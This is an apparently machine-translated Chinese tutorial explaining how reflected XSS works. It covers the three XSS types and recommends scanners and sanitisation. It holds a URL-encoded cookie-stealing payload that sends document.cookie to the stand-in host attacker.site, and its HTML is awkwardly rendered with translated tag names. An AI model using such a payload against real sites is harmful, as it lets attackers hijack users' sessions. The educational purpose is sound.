
创建跨站点脚本(XSS)攻击。了解XSS攻击的工作方式&识别Web漏洞
我们的第二部分 跨站脚本 ( XSS )系列展示了 创造&进行XSS攻击,帮助读者&网络安全工程师 了解XSS攻击如何工作 和 如何识别Web应用程序漏洞. 第一部分 解释了 XSS 攻击的概念s 同时还分析了 不同类型的XSS攻击.
XSS 漏洞利用 可以非常简单。最简单的攻击是获取用户的Cookie内容并将其发送到另一台服务器。发生这种情况时,攻击者可以从收到的内容中推断出用户的会话信息,欺骗其cookie以使其看起来像是受害用户,并获得对该用户帐户的未授权访问。显然,如果用户具有特权,例如主持人或管理员,则可能会产生严重的后果。
例如,考虑一个错误消息页面,其中消息本身是网站地址(称为统一资源标识符或URI)的一部分,并直接呈现给用户。对于此示例,假设网页的行为如下:
请求URI: /error.page?message=404错误–找不到内容
1. < html >< 头 >< 标题 > 错误 </ 标题 ></ 头 >< 身体 >
2.发生错误:< br />
3. 404错误–找不到内容
4. </body></html>
在 line 3,您可以在页面后面看到这个想法: 通过查询字符串变量消息提供的错误消息被打印给用户。如果此URI没有清除任何内容,例如剥离HTML标记,则攻击者可以注入任何内容。
他们还可以通过用URL编码的值替换值来掩盖注入的内容。如果他们想使用此错误页面从用户那里窃取Cookie,可以执行以下操作:
请求URI: /error.page?message= %3Cscript%3Evar+i%3Dnew+Image%28%29%3Bi.src%3D%22http%3A//attacker.site/cookie%3Fvalue%3D%22+document.cookie%3B%3C/script%3E
1. < html >< 头 >< 标题 > 错误 </ 标题 ></ 头 >< 身体 >
2.发生错误:< br />
3. < 脚本 > 变种 我= 新 Image(); i.src ="http://attacker.site/cookie?value="+ document.cookie;</ 脚本 >
4. </body></html>
首先,请注意 网址 。那些以百分号开头的两个字符的值 (%) 是 十六进制数 代表每个字符: %3C 对于 <, %3D 对于 =等等。这是一个 轻度混淆,允许浏览器 了解字符串 同时使用户难以理解。
在 line 3,您可以看到浏览器正确理解了字符串并将其评估为一些JavaScript。在此特定示例中,攻击者在其服务器上具有一个脚本,该脚本通过诱使浏览器将页面加载为图像对象来捕获用户cookie数据。该对象将用户的网站Cookie内容传递给攻击者。该攻击者现在拥有受害者的IP地址,Cookie数据等,并且可以使用此信息来 获得未经授权的访问 到受害用户的帐户,或更糟的是,如果受害用户帐户的权限较高,则访问网站的特权区域。
不同种类的XSS漏洞
这只是可以执行的各种XSS攻击的一个示例。 XSS 攻击分为以下三大类: OWASP : 已储存 , 持久XSS, 反映了 和 基于DOM的XSS. 存储的XSS攻击,顾名思义,它们未经消毒就存储在网站(例如数据库条目)中,并在页面加载时呈现(这就是 萨米蠕虫 操作)。 反映的XSS攻击 通常更常见,通常是由于 未经消毒的URI字符串 由网站的前端代码(例如上例)呈现。最终类型 基于DOM ,利用 文档对象模型环境 类似于 反映的XSS攻击,但可以动态更改页面的元素。
识别Web应用程序中的XSS漏洞
没有真正的包罗万象的东西可以阻止一切 XSS 漏洞利用 由于其存在的高度动态性以及新库和框架(如 jQuery的 的 和 引导程序 。但是,一个好的开始是 Web应用程序安全扫描程序,它会自动搜索这些类型的漏洞,并且 提供有关如何解决已识别的XSS漏洞的建议. 消毒 在网站接收到数据的任何地方(例如用户输入,查询字符串,POST表单数据等)至关重要,并且 良好的安全扫描仪 可以向您显示缺少消毒的地方。